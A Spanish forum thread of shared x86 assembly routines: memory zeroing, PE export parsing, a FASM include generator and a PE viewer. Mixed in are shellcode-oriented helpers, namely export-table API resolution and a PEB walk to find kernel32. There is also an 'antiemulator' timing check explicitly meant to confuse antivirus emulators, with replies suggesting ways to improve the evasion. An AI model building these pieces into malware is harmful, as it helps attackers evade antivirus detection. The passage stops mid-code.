Título: SRCs de YST.
Publicado por: YST en 2 Abril 2009, 09:07 am
Hola , muchas veces yo eh necesitado poner una cantidad de bytes en 0 , para esto hice una función que haga esto por mi , espero que les sirva. proc Zerar,Puntero,Cantidad push ecx push ebx mov ecx,[Cantidad] mov ebx,[Puntero] .bucle: mov byte[ebx+ecx],0 loop .bucle mov byte[ebx],0 pop ebx pop ecx ret endp
Título: Re: [SRC] Zerar
Publicado por: Arkangel_0x7C5 en 2 Abril 2009, 12:49 pm
buen code, pero el loop es muy lento mejor así: ZeroMem proc PMen:dword, SizeMen push ebx push ecx push eax mov ecx,[SizeMen] mov ebx,4 mov eax,ecx div ebx ;Comprueva si es multiplo de 4 cmp edx,0 je Mul4 sub ecx,edx lea edx,[ecx+edx] mov ebx,[PMen] xor eax,eax NoZero: dec edx mov byte ptr[ebx+edx],eax cmp edx,ecx jne NoZero Mul4: xor eax,eax mov ebx,[PMen] siguiente: sub ecx,4 mov [ebx+ecx],eax ;Pone a cero hasta que ecx sea zero jecxz zero jmp siguiente zero: pop eax pop ecx pop ebx ret ZeroMem endp
saludos
Título: Re: [SRC] Zerar
Publicado por: Eternal Idol en 2 Abril 2009, 13:28 pm
Arcangel_0x7C5: ¿Y si SizeMen no es multiplo de 4? Digamos que es 5 ...
Igual supongo que ambos podrian usar rep movs ...
Título: Re: [SRC] Zerar
Publicado por: Arkangel_0x7C5 en 2 Abril 2009, 13:39 pm
pos lo canbias un poco, yo es que todo lo que necesito poner a cero es multiplo de 4. Porque no uso los 64bist, y para las cadenas ya le pongo yo el 0 final
Título: Re: [SRC] Zerar
Publicado por: Eternal Idol en 2 Abril 2009, 14:06 pm
Entonces no es mejor asi, el codigo original no produce una excepcion al pasarle un tamaño de 5.
Título: Re: [SRC] Zerar
Publicado por: Arkangel_0x7C5 en 2 Abril 2009, 14:32 pm
alegrado, ya no produce una excepción
Título: SRCs de YST.
Publicado por: YST en 3 Abril 2009, 04:22 am
Hola , luego de un buen rato programando , viendo manuales de el formato PE ( si gustan luego los posteo ) , termine la función GetAddressFunction quer permite obtener la dirección de cualquier función de una libreria , mediante el handle de la libreria (devuelto por LoadLibrary por ejemplo ) y el nombre de la función , esta función es muy util para shellcode , la función comparar tanto como la función len no son mias las pase para que se pudieran ensamblar con FASM ya que las originales son de MASM ( http://www.asmcommunity.net/board/index.php?topic=2626.0 ) , espero que les sea de utilidad. proc GetAddressFunction,LibHandle,Api locals DirPEHeader dd ? PunteroPEHeader dd ? RVAofExportDirectory dd ? NumberOfNames dd ? AddressOfNames dd ? AddressOfFunctions dd ? endl push ebx edx edi ecx mov eax,[LibHandle] cmp eax,NULL je .Error push dword[eax + 03Ch] pop [DirPEHeader] push [DirPEHeader] pop [PunteroPEHeader] add [PunteroPEHeader],eax mov ebx,[PunteroPEHeader] cmp word[ebx],"PE" jne .Error push dword[ebx+078h] pop [RVAofExportDirectory] mov ebx, [RVAofExportDirectory] add ebx,eax push dword[ebx+018h] pop [NumberOfNames] mov edx,[NumberOfNames] push dword[ebx+20h] pop [AddressOfNames] mov ebx, [AddressOfNames] add ebx,eax mov ecx,[NumberOfNames] mov edi,0 push [LibHandle] pop [AddressOfFunctions] mov ebx,[RVAofExportDirectory] add eax ,ebx push dword[eax+1ch] pop [AddressOfFunctions] .encontrar: mov eax, 0x4 mul edi mov ebx,eax add ebx,[AddressOfNames] add ebx,[LibHandle] mov eax, [ebx] add eax, [LibHandle] add edi,1 stdcall comparar, [Api], eax cmp ecx,NULL je .Error cmp eax, 0 jne .encontrar dec edi rol edi,2 mov eax,edi add eax, [AddressOfFunctions] add eax,[LibHandle] mov eax, dword[eax] add eax,[LibHandle] pop ecx edi edx ebx ret .Error: xor eax,eax ; xor eax,eax = NULL ret ret endp proc comparar ,SRC,DST push edi ecx esi stdcall Len,[SRC] inc eax mov ecx,eax mov esi,[SRC] mov edi,[DST] repz cmpsb mov eax,1 jnz Next dec eax Next: pop esi ecx edi ret endp proc Len , SRC push ecx edi mov ecx,-1 mov edi,[SRC] mov al,0 repnz scasb mov eax,ecx not eax dec eax pop edi ecx ret endp
Una forma de obtener el handle de la kernel32 ( fuente: hackhound.org ): mov eax, [fs:30h] mov eax, [eax + 0ch] mov esi, [eax + 1ch] lodsd mov eax, [eax + 08h]
Título: SRCs de YST.
Publicado por: YST en 3 Abril 2009, 05:04 am
Hola , basado en el source que hice para obtener la dirección de la función que uno desee de una libreria , hice un pequeño programa para listar todas las funciones de una libreria ( .dll ) , modificandolo un poco se podria hacer que este mismo programa cree .inc como el "kernel32.inc" que se encuentra en el fasm , que tiene todas (o casi todas ) las api's de la kernel32.dll , espero que les sirva de algo. format pe console espacio equ 13,10,0 include 'win32ax.inc' .code start: invoke LoadLibrary,"user32.dll" stdcall ListarFunciones,eax invoke ExitProcess,0 proc ListarFunciones,LibHandle locals DirPEHeader dd ? PunteroPEHeader dd ? RVAofExportDirectory dd ? NumberOfNames dd ? AddressOfNames dd ? endl push ebx edx edi ecx mov eax,[LibHandle] cmp eax,NULL je .Error push dword[eax + 03Ch] pop [DirPEHeader] push [DirPEHeader] pop [PunteroPEHeader] add [PunteroPEHeader],eax mov ebx,[PunteroPEHeader] cmp word[ebx],"PE" jne .Error push dword[ebx+078h] pop [RVAofExportDirectory] mov ebx, [RVAofExportDirectory] add ebx,eax push dword[ebx+018h] pop [NumberOfNames] mov edx,[NumberOfNames] push dword[ebx+20h] pop [AddressOfNames] mov ebx,[NumberOfNames] mov edi, [AddressOfNames] add edi,[LibHandle] .bucle: dec ebx mov eax, [edi + ebx * 4] add eax,[LibHandle] invoke printf,eax invoke printf,espacio cmp ebx,0 jne .bucle pop ecx edi edx ebx ret .Error: ret endp .end start
Título: Re: [SRC] Zerar
Publicado por: YST en 3 Abril 2009, 05:18 am
Arcangel_0x7C5: ¿Y si SizeMen no es multiplo de 4? Digamos que es 5 ...
Igual supongo que ambos podrian usar rep movs ...
Hola , Eternal Idol , podrias poner un ejemplo , por que entiendo o creo entender el funcionamiento de movsx (mosvb,movsw,etc.. ) y segun tengo entendido la cantidad de 0 tendria que ser igual a la cantidad que se quiera rellenar con estos , tal vez me estoy confundiendo ya que para ser sincero nunca eh usado mosvx , me encantaria ver un source que rellene usando mosvx . Arcangel_0x7C5 ahora leere tu codigo , aunque a simple vista me parece mas rapido mi source , seria interesante que me dijieras como sacas lo que se demora cada instrucción , ya que desconozco como tomarles el tiempo ;)
Título: Re: [SRC] Listar funciones de una libreria
Publicado por: YST en 3 Abril 2009, 06:55 am
Lo modifique y ahora crea imports para fasm a partir de cualquier libreria ;D format pe console espacio equ 13,10,0 include 'win32ax.inc' .code start: stdcall CrearImport,"user32.dll","user32.inc" invoke ExitProcess,0 proc CrearImport,NombreLIB,NombreImport locals DirPEHeader dd ? PunteroPEHeader dd ? RVAofExportDirectory dd ? NumberOfNames dd ? AddressOfNames dd ? Funcion dd ? HFile dd ? Nosirve dd ? Largo dd ? LibHandle dd ? endl push ebx edx edi ecx invoke LoadLibrary, [NombreLIB] mov [LibHandle],eax cmp eax,NULL je .Error push dword[eax + 03Ch] pop [DirPEHeader] push [DirPEHeader] pop [PunteroPEHeader] add [PunteroPEHeader],eax mov ebx,[PunteroPEHeader] cmp word[ebx],"PE" jne .Error push dword[ebx+078h] pop [RVAofExportDirectory] mov ebx, [RVAofExportDirectory] add ebx,eax push dword[ebx+018h] pop [NumberOfNames] mov edx,[NumberOfNames] push dword[ebx+20h] pop [AddressOfNames] mov ebx,[NumberOfNames] mov edi, [AddressOfNames] add edi,[LibHandle] invoke CreateFileA, [NombreImport], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 mov [HFile], eax invoke lstrlen,"import " invoke WriteFile, [HFile], "import ",eax,addr Nosirve, NULL invoke lstrlen,[NombreLIB] sub eax,4 invoke WriteFile, [HFile], [NombreLIB],eax,addr Nosirve, NULL invoke WriteFile,[HFile] , ",\",2,addr Nosirve, NULL invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL .bucle: dec ebx mov eax, [edi + ebx * 4] add eax,[LibHandle] mov [Funcion],eax invoke lstrlen, [Funcion] invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL invoke WriteFile, [HFile],",",1,addr Nosirve, NULL invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL invoke lstrlen, [Funcion] invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL .if ebx = 0 invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL .else invoke WriteFile, [HFile],"',\",3,addr Nosirve, NULL invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL .endif cmp ebx,0 jne .bucle invoke CloseHandle, [HFile] pop ecx edi edx ebx ret .Error: ret endp .end start
Título: Re: [SRC] Listar funciones de una libreria
Publicado por: YST en 3 Abril 2009, 08:45 am
Volvi a mejorar un poco el source : format pe console espacio equ 13,10,0 include 'win32ax.inc' .data RutaLib rb MAX_PATH RutaINC rb MAX_PATH .code start: invoke printf,"Ingrese la ruta de la libreria:" invoke printf,espacio invoke scanf,"%s",RutaLib invoke printf,"Ingrese la ruta de la donde se generara el include:" invoke printf,espacio invoke scanf,"%s",RutaINC stdcall CrearImport,RutaLib,RutaINC invoke ExitProcess,0 proc CrearImport,NombreLIB,NombreImport locals DirPEHeader dd ? PunteroPEHeader dd ? RVAofExportDirectory dd ? NumberOfNames dd ? AddressOfNames dd ? Funcion dd ? HFile dd ? Nosirve dd ? Largo dd ? LibHandle dd ? endl push ebx edx edi ecx invoke LoadLibrary, [NombreLIB] mov [LibHandle],eax cmp eax,NULL je .Error push dword[eax + 03Ch] pop [DirPEHeader] push [DirPEHeader] pop [PunteroPEHeader] add [PunteroPEHeader],eax mov ebx,[PunteroPEHeader] cmp word[ebx],"PE" jne .Error push dword[ebx+078h] pop [RVAofExportDirectory] mov ebx, [RVAofExportDirectory] add ebx,eax push dword[ebx+018h] pop [NumberOfNames] mov edx,[NumberOfNames] push dword[ebx+20h] pop [AddressOfNames] mov ebx,[NumberOfNames] mov edi, [AddressOfNames] add edi,[LibHandle] invoke CreateFileA, [NombreImport], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 mov [HFile], eax invoke lstrlen,"import " invoke WriteFile, [HFile], "import ",eax,addr Nosirve, NULL invoke lstrlen,[NombreLIB] sub eax,4 invoke WriteFile, [HFile], [NombreLIB],eax,addr Nosirve, NULL invoke WriteFile,[HFile] , ",\",2,addr Nosirve, NULL invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL .bucle: dec ebx mov eax, [edi + ebx * 4] add eax,[LibHandle] mov [Funcion],eax invoke lstrlen, [Funcion] invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL invoke WriteFile, [HFile],",",1,addr Nosirve, NULL invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL invoke lstrlen, [Funcion] invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL .if ebx = 0 invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL .else invoke WriteFile, [HFile],"',\",3,addr Nosirve, NULL invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL .endif cmp ebx,0 jne .bucle invoke CloseHandle, [HFile] invoke system,"cls" invoke printf,"Extraida las funciones de: " invoke printf,RutaLib invoke printf,espacio invoke printf,espacio invoke printf,"El include ah sido generado en : " invoke printf,RutaINC invoke printf,espacio invoke printf,espacio invoke printf,"Con " invoke printf,"%d",[NumberOfNames] invoke printf," funciones extraidas." invoke printf,espacio invoke system,"pause" pop ecx edi edx ebx ret .Error: invoke system,"cls" invoke printf,"Ocurrio un error durante la extracciòn." invoke printf,espacio invoke system,"pause" ret endp .end start
PD: Mi win32ax.inc tiene algunas mejoras y le eh agragado todas las .inc de mi post anterior (http://foro.elhacker.net/programacion_general/aporte_inc_con_apis_de_distitnas_librerias_para_fasm-t250659.0.html) para que si quieren compilar el codigo hagan eso ya que tal cual con la win32ax.inc que viene por defecto en FASM no va a compilar.
Título: Re: [SRC] Zerar
Publicado por: Eternal Idol en 3 Abril 2009, 09:27 am
Perdon, movs es para strcpy, en este caso queremos stos: ZeroMemory: xor al, al ;valor a escribir (0) mov ecx, dword ptr [esp+8] ;cantidad de veces mov edi, dword ptr [esp+4] ;buffer rep stosb ret
El codigo de Arcangel_0x7C5 es mas rapido que el tuyo por trabajar con DWORDs y no con BYTEs. Puede que sea mas rapido que este tambien (depende de la cantidad de BYTEs a escribir) ... pero una combinacion de rep stosd y mov (para los bytes que sobren del ultimo DWORD que no sea completo) es lo que usa la RTL de VC++ normalmente.
Título: Re: [SRC] Zerar
Publicado por: YST en 3 Abril 2009, 15:01 pm
Perdon, movs es para strcpy, en este caso queremos stos:
Código
ZeroMemory: xor al, al ;valor a escribir (0) mov ecx, dword ptr [esp+8] ;cantidad de veces mov edi, dword ptr [esp+4] ;buffer rep stosb ret
El codigo de Arcangel_0x7C5 es mas rapido que el tuyo por trabajar con DWORDs y no con BYTEs. Puede que sea mas rapido que este tambien (depende de la cantidad de BYTEs a escribir) ... pero una combinacion de rep stosd y mov (para los bytes que sobren del ultimo DWORD que no sea completo) es lo que usa la RTL de VC++ normalmente.
Claro , ahora leyendo el source de arkangel me doy cuenta que trabaja con dword's y por lo tanto es mas rapido ( obviamente si yo trabajo byte por byte y el de arkangel de a 4 ) , en todo caso en un relleno de 3 bytes por ejemplo el mio seria mas rapido , no ? ya que hace menos comprobaciones ; mas tarde cuando vuelva mejoro el source para que sea lo mas rapido posible ;)
Título: Re: [SRC] Listar funciones de una libreria
Publicado por: Karcrack en 3 Abril 2009, 15:40 pm
Muchas gracias ;D
Estaba cansado de tener que hacer los Imports a mano cuando no estaban declaradas algunas APIs ;-)
Título: Re: [SRC] Listar funciones de una libreria
Publicado por: YST en 3 Abril 2009, 16:29 pm
Muchas gracias ;D
Estaba cansado de tener que hacer los Imports a mano cuando no estaban declaradas algunas APIs ;-) Claro , da un poco de flojera estar declarando todo manualmente cada vez , dando un consejo , no remplacen su kernel32.inc ni ninguna que venga por defecto aunque muchas estan incompletas , ya que este generador de includes no discrimina cuando hay un api como "CreateProcessA" y "CreateProcessW" entonces si lo remplasan tendrian que llamar a la api como CreateProcessA en vez de llamarla como CreateProcess , haber si mas tarde logro hacer que discrimine esto ;)
Título: Re: [SRC] Zerar
Publicado por: Arkangel_0x7C5 en 3 Abril 2009, 17:10 pm
Arcangel_0x7C5: ¿Y si SizeMen no es multiplo de 4? Digamos que es 5 ...
Igual supongo que ambos podrian usar rep movs ...
Hola , Eternal Idol , podrias poner un ejemplo , por que entiendo o creo entender el funcionamiento de movsx (mosvb,movsw,etc.. ) y segun tengo entendido la cantidad de 0 tendria que ser igual a la cantidad que se quiera rellenar con estos , tal vez me estoy confundiendo ya que para ser sincero nunca eh usado mosvx , me encantaria ver un source que rellene usando mosvx . Arcangel_0x7C5 ahora leere tu codigo , aunque a simple vista me parece mas rapido mi source , seria interesante que me dijieras como sacas lo que se demora cada instrucción , ya que desconozco como tomarles el tiempo ;). y tan bien es mas rápido por no usar loop, en en los 486 se a vuelto mas lento que su equivalente con varias instrucciones. y que yo sepa ya no se lleva el 386. En el archivo de ayuda del masm sale los tiempos de cada instrucción en cada familia procesadores PD:yo no mido nunca los tiempos
Título: Re: [SRC] Zerar
Publicado por: YST en 3 Abril 2009, 19:47 pm
No tenia idea eso de el loop , que interesante , gracias por informarme ;) .
Título: Re: [SRC]GetAddressFunction
Publicado por: Arkangel_0x7C5 en 4 Abril 2009, 00:12 am
Una forma de obtener el handle de la kernel32 ( fuente: hackhound.org ): mov eax, [fs:30h] mov eax, [eax + 0ch] mov esi, [eax + 1ch] lodsd mov eax, [eax + 08h]
una cosa, Que es lo que hay en [fs:30h]? Yo para sacar la base de kernel32 usaba la direccion de retorno que deja CreateProcess al pasar el control a tu programa con "call". Luego era solo cuestion de buscar "MZ" pero invertida. y ya la tienes. A y no entiendo el porque de tanto "push" y "pop" No es mas facil hacer mov a un registro Saludos. PD:Si te interesa el virin te invito a que hagas clic en el enlace de mi firma
Título: Re: [SRC]GetAddressFunction
Publicado por: Eternal Idol en 4 Abril 2009, 00:16 am
una cosa, Que es lo que hay en [fs:30h]? La direccion de memoria donde esta el PEB.
Título: Re: [SRC]GetAddressFunction
Publicado por: YST en 4 Abril 2009, 00:28 am
A y no entiendo el porque de tanto "push" y "pop" No es mas facil hacer mov a un registro
La razón principal es que quise que se explicara un poco el code mediante las variables y no se puede hacer un "mov [AddressOfNames].dword[ebx+20h] " esa es la razón , aunque facilmente se pueden eliminar todas las variables. PD:Si te interesa el virin te invito a que hagas clic en el enlace de mi firma Muchas gracias , voy a ver esa comunidad.
Título: Re: [SRC]GetAddressFunction
Publicado por: Arkangel_0x7C5 en 4 Abril 2009, 01:08 am
A y no entiendo el porque de tanto "push" y "pop" No es mas facil hacer mov a un registro
La razón principal es que quise que se explicara un poco el code mediante las variables y no se puede hacer un "mov [AddressOfNames].dword[ebx+20h] " esa es la razón , aunque facilmente se pueden eliminar todas las variables. y no se puede hacer mov de mem a mem pero creo que era mas rapido de mem a reg que hacer push mem y ala inbersa. ya te digo que yo no mido la velocidad, pero como de todas maneras tienes que pasarlo a un registro para usarlo tengo ese code con una sola variable. Y para explicar el code puedes poner comentarios diciendo lo que haces y a donde apunta. En esa comunidad no somos muchos los que siempre escribimos, por eso suele haber buen nivel en lo que se postea Saludos
Título: Re: [SRC]GetAddressFunction
Publicado por: YST en 4 Abril 2009, 02:17 am
Arregle un poco el coidigo ( lo que se puede arreglar estnado cansado ) , mañana si gustan lo termino de arreglar. salu2 proc GetAddressFunction,LibHandle,Api locals AddressOfNames dd ? AddressOfFunctions dd ? endl push ebx edx edi ecx esi mov eax,[LibHandle] cmp eax,NULL je .Error mov ebx, dword[eax + 03Ch] add ebx,eax cmp word[ebx],"PE" jne .Error mov esi,dword[ebx+078h] mov ebx,esi add ebx,eax push dword[ebx+20h] pop [AddressOfNames] add [AddressOfNames] ,eax mov ecx,dword[ebx+018h] mov edi,0 mov ebx,esi add eax ,ebx push dword[eax+1ch] pop [AddressOfFunctions] .encontrar: dec ecx mov eax, 0x4 mul edi mov ebx,eax add ebx,[AddressOfNames] mov eax, [ebx] add eax, [LibHandle] inc edi stdcall comparar, [Api], eax cmp ecx,NULL je .Error cmp eax, 0 jne .encontrar dec edi rol edi,2 mov eax,edi add eax, [AddressOfFunctions] add eax,[LibHandle] mov eax, dword[eax] add eax,[LibHandle] pop esi ecx edi edx ebx ret .Error: xor eax,eax ; xor eax,eax = NULL pop esi ecx edi edx ebx ret ret endp proc comparar ,SRC,DST push edi ecx esi stdcall Len,[SRC] inc eax mov ecx,eax mov esi,[SRC] mov edi,[DST] repz cmpsb mov eax,1 jnz Next dec eax Next: pop esi ecx edi ret endp proc Len , SRC push ecx edi mov ecx,-1 mov edi,[SRC] mov al,0 repnz scasb mov eax,ecx not eax dec eax pop edi ecx ret endp
Título: Re: [SRC]GetAddressFunction
Publicado por: Arkangel_0x7C5 en 4 Abril 2009, 02:30 am
mi code es este, es masm pero tanpoco cambia tanto. Getproadress proc PBaseDll:dword, PNombreFun:dword LOCAL NumFun push edx push ecx push esi push edi mov edx,[PBaseDll] ;Encontrar funcion pedida en la dll especificada cmp word ptr[edx],'ZM' je MZ cmp word ptr[edx],'MZ' je MZ NoPE: xor eax,eax jmp NoEncontre MZ: xor ecx,ecx add edx,[edx+3ch] cmp word ptr[edx],'EP' jne NoPE ;Cabecera PE mov edx,[edx+78h] ;Tabla de Exportaciones mov edi,[18h+edx] mov [NumFun],edi add edx,[PBaseDll] mov edi,[edx+20h] ;AddressOfNames add edi,[PBaseDll] jmp busca NoEs: cmp ecx,[NumFun] je NoEncontre inc ecx add edi,4 busca: mov esi,[edi] add esi,[PBaseDll] push esi push [PNombreFun] call cmpsrt cmp eax,0 jne NoEs ; AddressOfNameOrdinals mov edi,[edx+24h] add edi,[PBaseDll] rol ecx,1h add edi,ecx movzx ecx,word ptr [edi] ; AddressOfFunctions rol ecx,2h mov esi,dword ptr [edx+1ch] add ecx,[PBaseDll] add ecx, esi mov eax,[ecx] add eax,[PBaseDll] jmp bien NoEncontre: xor eax,eax bien: pop edi pop esi pop ecx pop edx ret 8 Getproadress endp
Título: Re: [SRC]GetAddressFunction
Publicado por: YST en 4 Abril 2009, 03:11 am
Le corregi algunas cosas inutiles , no son muchas modificaciones las que le hice a mis source pero creo que lo debo postear igual include 'win32ax.inc' .code start: invoke LoadLibrary,"user32.dll" stdcall GetAddressFunction,eax,"MessageBoxA" stdcall eax,0,0,0,0 invoke ExitProcess,0 proc GetAddressFunction,LibHandle,Api locals AddressOfNames dd ? AddressOfFunctions dd ? endl push ebx edx edi ecx esi mov eax,[LibHandle] cmp eax,NULL je .Error mov ebx, dword[eax + 03Ch] add ebx,eax cmp word[ebx],"PE" jne .Error mov esi,dword[ebx+078h] mov ebx,esi add ebx,eax push dword[ebx+20h] pop [AddressOfNames] add [AddressOfNames] ,eax mov ecx,dword[ebx+018h] xor edi,edi add eax ,esi push dword[eax+1ch] pop [AddressOfFunctions] sub eax,esi add [AddressOfFunctions] ,eax .encontrar: dec ecx mov eax,edi rol eax,2 add eax,[AddressOfNames] mov eax, dword[eax] add eax, [LibHandle] inc edi stdcall comparar, [Api], eax cmp ecx,NULL je .Error cmp eax, 0 jne .encontrar dec edi rol edi,2 mov eax,edi add eax, [AddressOfFunctions] mov eax, dword[eax] add eax,[LibHandle] pop esi ecx edi edx ebx ret .Error: xor eax,eax ; xor eax,eax = NULL pop esi ecx edi edx ebx ret endp proc comparar ,SRC,DST push edi ecx esi mov ecx,-1 mov edi,[SRC] mov al,0 repnz scasb mov eax,ecx not eax mov ecx,eax mov esi,[SRC] mov edi,[DST] repz cmpsb mov eax,1 jnz Next dec eax Next: pop esi ecx edi ret endp .end start
Título: [SRC]antiemulator
Publicado por: YST en 4 Abril 2009, 10:15 am
Hola , decidi pasar la función AntiEmulaters desarrollada por ChainCoder en el lenguaje de programación delphi a ASM , espero que les sirva Codigo original:Function AntiEmulaters:Boolean; Var UpTime :DWORD; UpTimeAfterSleep :Dword; Begin UpTime := GetTickCount; Sleep(Strtoint('5'+'0'+'0')); UpTimeAfterSleep := GetTickCount; if ( UpTimeAfterSleep - UpTime ) < 500 Then Result:= True Else Result:= False; end;
Codigo traducido: antiemulator: push ebx ecx invoke GetTickCount mov ebx,eax mov eax,2 mov ecx,250 mul ecx invoke SleepEx,eax,FALSE ; 250 * 2= 500 ( para confundir un poco el antivirus ) invoke GetTickCount sub eax,ebx cmp eax,500 jl .si mov eax,FALSE pop ecx ebx ret .si: pop ecx ebx mov eax,TRUE ret
Título: Re: [SRC]antiemulator
Publicado por: Karcrack en 4 Abril 2009, 14:11 pm
Creo que al poner: No confundes a ningun AV... ya que el FASM ya te lo calcula y pone el 500, talvez haciendo otras cosas, como por ejemplo esto, si que marees mas al AV: xor ebx, ebx mov ecx, 500 @@: inc ebx loop @B
Creo que tendrias que explicar que la mayoria de Emuladores de los AVs se saltan algunas APIs... como esta... asi que, los AVs no duermen :xD Saludos ;)
Título: Re: [SRC]antiemulator
Publicado por: YST en 4 Abril 2009, 21:01 pm
Creo que al poner: No confundes a ningun AV... ya que el FASM ya te lo calcula y pone el 500, talvez haciendo Cierto , no me habia fijado .
Título: Re: [SRC] Listar funciones de una libreria
Publicado por: BEATMASTER en 5 Abril 2009, 06:35 am
oorale que bien suena esto recientemente empeze a tener curiosidad de como sacar las funciones de una dll :P y mira con lo que me vengo a encontrar jaja servira de mucho sobre todo apra darme una idea de como lo ahces mm una pregunta :p te devulve el nombre de las funciones y tambien que parametros y valores devuelve? por cierto muy buenos codigos ;-)
Título: Re: [SRC] Listar funciones de una libreria
Publicado por: YST en 5 Abril 2009, 08:54 am
Los parametros de las api's sera imposible de sacar y los valores que devuelve , no no lo toma ya que hay la unica manera que encuentro es ahcel algo como un debugger y ver que manda a eax .
Título: Re: [SRC] Listar funciones de una libreria
Publicado por: Arkangel_0x7C5 en 5 Abril 2009, 16:40 pm
el peso de los parámetros se podría sacar mirando los mov X ,[ebp + X], pero el tipo de valor debuelto no, porque en asm esencialmente solo hay unos pocos tipos, según el tamaño y punteros.
saludos
Título: Re: [SRC] Listar funciones de una libreria
Publicado por: YST en 5 Abril 2009, 19:56 pm
Claro , los parametros como mucho se les podria sacar peso y cantidad de parametros.
Título: SRCs de YST.
Publicado por: YST en 6 Abril 2009, 02:46 am
Hola , viendo una funcion desarrollada por un user de este foro , decidi hacer la mia propia ya que encontre que esta funcion se podia mejorar bastante , bueno se las dejo , el parametro que hay que pasarle es el "MZ" de el archivo , lo pueden cargar con LoadLibrary si se quiere ;). proc EOFExtraDataExtract,FHandle push esi ebx mov eax,[FHandle] mov esi,dword[eax+03ch] ;Offset to start of PE header add esi,eax movzx ebx, word[esi+06h] ;Number Of Sections dec ebx mov eax,28h mul ebx add esi,0xf8 ;START OF SECTION TABLE add esi,eax mov eax,dword[esi+10h] ;SizeOfRawData add eax,dword[esi+14h] ;pointerToRawData pop ebx esi ret endp
Título: SRCs de YST.
Publicado por: YST en 6 Abril 2009, 03:44 am
Hola , basado en el visor PE de novirusthanks.org hice un modesto visor PE format pe console Espacio equ 13,10,0 include 'win32ax.inc' .data Logo db '===================================',13,10 db '= Humilde visor PE by YST =',13,10 db '===================================',13,10,0 RutaArch rb MAX_PATH HA dd ? bEscritos dd ? Log dd ? CrearLOG rb 10 .code start: invoke printf,Logo invoke printf,Espacio invoke printf,"Ponga la ruta a escanear: " invoke printf,Espacio invoke scanf,"%s",RutaArch invoke printf,Espacio invoke printf,Espacio invoke LoadLibrary,RutaArch stdcall Visualisar,eax invoke ExitProcess,0 proc Visualisar,FHandle push edi esi ebx .if [FHandle] = NULL jmp .error .endif mov eax,[FHandle] cmp word[eax],"MZ" jne .error mov eax,[FHandle] mov esi,dword[eax+03ch] ;Offset to start of PE header invoke printf,"%s","start of PE header: " invoke printf,"0x%x",esi invoke printf,"%s",Espacio add esi,[FHandle] movzx ebx, word[esi+06h] ;Number Of Sections invoke printf,"%s","TimeDateStamp: " invoke printf,"0x%x",dword[esi+8h] invoke printf,"%s",Espacio invoke printf,"%s","SizeOfCode: " invoke printf,"0x%x",dword[esi+1ch] invoke printf,"%s",Espacio invoke printf,"%s","Address Of Entry Point: " invoke printf,"0x%x",dword[esi+28h] invoke printf,"%s",Espacio invoke printf,"%s","ImageBase: " invoke printf,"0x%x",dword[esi+34h] invoke printf,"%s",Espacio invoke printf,"%s","SizeOfImage: " invoke printf,"0x%x",dword[esi+50h] invoke printf,"%s",Espacio invoke printf,"%s","SizeOfHeaders : " invoke printf,"0x%x",dword[esi+54h] invoke printf,"%s",Espacio invoke printf,"%s","CheckSum : " invoke printf,"0x%x",dword[esi+58h] invoke printf,"%s",Espacio invoke printf,"%s","Subsystem: " .if dword[esi+5Ch] = 2h invoke printf,"%s","Windows GUI" .else invoke printf,"%s","Windows CUI" .endif invoke printf,"%s",Espacio invoke printf,"%s","Posicion de el EOF: " stdcall EOFExtraDataExtract,[FHandle] invoke printf,"0x%x",eax invoke printf,"%s",Espacio invoke printf,"%s",Espacio invoke printf," SECTION'S " invoke printf,"%s",Espacio invoke printf,"%s",Espacio invoke printf,"%s","Numero de secciones: " invoke printf,"0x%x",ebx invoke printf,"%s",Espacio invoke printf,"%s",Espacio .bucle: dec ebx mov eax,28h mul ebx add eax,0xf8 add eax,esi mov edi,eax invoke printf,"Name: " invoke printf,"%s",edi invoke printf,"%s",Espacio invoke printf,"virtual address: " invoke printf,"0x%x",dword[edi+0ch] invoke printf,"%s",Espacio invoke printf,"VirtualSize : " invoke printf,"0x%x",dword[edi+08h] invoke printf,"%s",Espacio invoke printf,"SizeOfRawData: " invoke printf,"0x%x",dword[edi+10h] invoke printf,"%s",Espacio invoke printf,"pointerToRawData : " invoke printf,"0x%x",dword[edi+14h] invoke printf,"%s",Espacio invoke printf,"Characteristics : " invoke printf,"0x%x",dword[edi+24h] invoke printf,"%s",Espacio invoke printf,"%s",Espacio invoke printf,"%s",Espacio cmp ebx,0 jne .bucle mov eax,[FHandle] add eax,dword[eax+3ch] .if dword[eax+78h] = 0 .else invoke printf," EXPORT " invoke printf,"%s",Espacio invoke printf,"%s",Espacio stdcall ListarFunciones,[FHandle] .endif ;ListarImport invoke printf," Import's " invoke printf,Espacio invoke printf,Espacio mov eax,[FHandle] add eax,dword[eax+3ch] .if dword[eax+80h] = 0 invoke printf,"No incluye librerias ( .dll ) ." .else stdcall ListarImport ,[FHandle] .endif pop ebx esi edi ret .error: invoke printf,"Ingrese un archivo valido." pop ebx esi edi ret endp proc EOFExtraDataExtract,FHandle push esi ebx mov eax,[FHandle] mov esi,dword[eax+03ch] ;Offset to start of PE header add esi,eax movzx ebx, word[esi+06h] ;Number Of Sections dec ebx mov eax,28h mul ebx add esi,0xf8 ;START OF SECTION TABLE add esi,eax mov eax,dword[esi+10h] ;SizeOfRawData add eax,dword[esi+14h] ;pointerToRawData pop ebx esi ret endp proc ListarFunciones,LibHandle locals DirPEHeader dd ? PunteroPEHeader dd ? RVAofExportDirectory dd ? NumberOfNames dd ? AddressOfNames dd ? endl push ebx edx edi ecx mov eax,[LibHandle] cmp eax,NULL je .Error push dword[eax + 03Ch] pop [DirPEHeader] push [DirPEHeader] pop [PunteroPEHeader] add [PunteroPEHeader],eax mov ebx,[PunteroPEHeader] cmp word[ebx],"PE" jne .Error push dword[ebx+078h] pop [RVAofExportDirectory] mov ebx, [RVAofExportDirectory] add ebx,eax push dword[ebx+018h] pop [NumberOfNames] mov edx,[NumberOfNames] push dword[ebx+20h] pop [AddressOfNames] mov ebx,[NumberOfNames] invoke printf,"%s" 